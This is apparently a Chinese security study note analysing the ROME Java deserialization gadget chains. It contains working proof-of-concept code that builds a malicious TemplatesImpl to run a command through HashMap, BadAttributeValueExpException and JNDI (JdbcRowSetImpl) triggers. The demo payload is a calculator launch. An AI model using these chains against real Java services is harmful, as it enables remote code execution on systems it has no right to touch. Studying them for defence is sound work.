Rome链
ObjectBean
com.sun.syndication.feed.impl.ObjectBean是一个用于处理 Java Beans 的通用工具类,该类使用委托模式设计,使用了 CloneableBean、EqualsBean 和 ToStringBean 这三个辅助类,以实现相关方法

而 hashCode() 方法会调用 EqualsBean#beanHashCode() 方法,并调用保存的 \_obj 对象的 toString() 方法

ToStringBean
这个类是对象转化为字符串表示的辅助类,这个类存在两个 toString() 方法,无参 toString() 将 _obj 对象名处理后传入另一个 toString() 方法中

另一个方法反射调用所有 getter 方法
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
ROME1
最终 ROME1 写成如下比较好理解的形式
public Object getObject(String command, HashMap payloadOptions) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command, payloadOptions);
ObjectBean delegate = new ObjectBean(Templates.class, templates);
// 目的是通过 root 的 hashCode() 方法触发 ObjectBean 的 toString() 方法,先使用一个无害类
ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "Whoopsunix"));
HashMap map = new HashMap();
map.put(root, "Whoopsunix");
Reflections.setFieldValue(root, "_equalsBean", new EqualsBean(ObjectBean.class, delegate));
return map;
}POC
package org.example;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.PriorityQueue;
import static TOOl.tool.unserialize;
import static TOOl.tool.serialize;
import java.lang.reflect.Field;
public class Rome1 {
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes = payload.toBytecode();//转换为byte数组47.
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test
ObjectBean delegate = new ObjectBean(Templates.class, templatesImpl);
// 目的是通过 root 的 hashCode() 方法触发 ObjectBean 的 toString() 方法,先使用一个无害类
ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "xuanxuan"));
HashMap map = new HashMap();
map.put(root, "xuanxuan");
Field equalsBean = root.getClass().getDeclaredField("_equalsBean");
equalsBean.setAccessible(true);
equalsBean.set(root, new EqualsBean(ObjectBean.class, delegate));
String serialize = serialize(map);
unserialize(serialize);
}
}ROME2
之前我们分析过 BadAttributeValueExpException 同样能触发 toString() ,因为 ObjectBean 的构造方法会对 CloneableBean、EqualsBean 和 ToStringBean 这三个辅助类都赋值,所以可以直接触发 ObjectBean#toString()
public Object getObject(String command, HashMap payloadOptions) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command, payloadOptions);
ObjectBean delegate = new ObjectBean(Templates.class, templates);
BadAttributeValueExpException b = new BadAttributeValueExpException("");
Reflections.setFieldValue(b, "val", delegate);
return b;
}POC
package org.example;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import static TOOl.tool.serialize;
import static TOOl.tool.unserialize;
public class Rome2 {
public static void main(String[] args) throws Exception{
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes = payload.toBytecode();//转换为byte数组47.
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test
ObjectBean delegate = new ObjectBean(Templates.class, templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, delegate);
String serialize = serialize(badAttributeValueExpException);
System.out.println(serialize);
System.out.println(serialize.length());
unserialize(serialize);
}
}ROME3
在实例化 ObjectBean 时,会将三个辅助类都实例化,生成的 payload 太长了,有 byte length: 2030
继续分析后可以进一步压缩,首先是可以直接删除 ObjectBean.toString() ,通过 ToStringBean.toString() 来调用
public Object getObject(String command, HashMap payloadOptions) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command, payloadOptions);
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean root = new EqualsBean(ToStringBean.class, toStringBean);
return Gadgets.makeMap(root, root);
}ROME4
POC
public Object getObject(String command, HashMap payloadOptions) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command, payloadOptions);
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean root = new EqualsBean(ToStringBean.class, toStringBean);
return Gadgets.makeMap(root, root);
}如果使用 JNDI 还可以进一步压缩到 byte length
public Object getObject(String command, HashMap payloadOptions) throws Exception {
// 进一步压缩
String url = "rmi://127.0.0.1:1099/umaghq";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(url);
rs.setMatchColumn("x");
Field listeners = javax.sql.rowset.BaseRowSet.class.getDeclaredField("listeners");
listeners.setAccessible(true);
listeners.set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
return Gadgets.makeMap(root, root);
}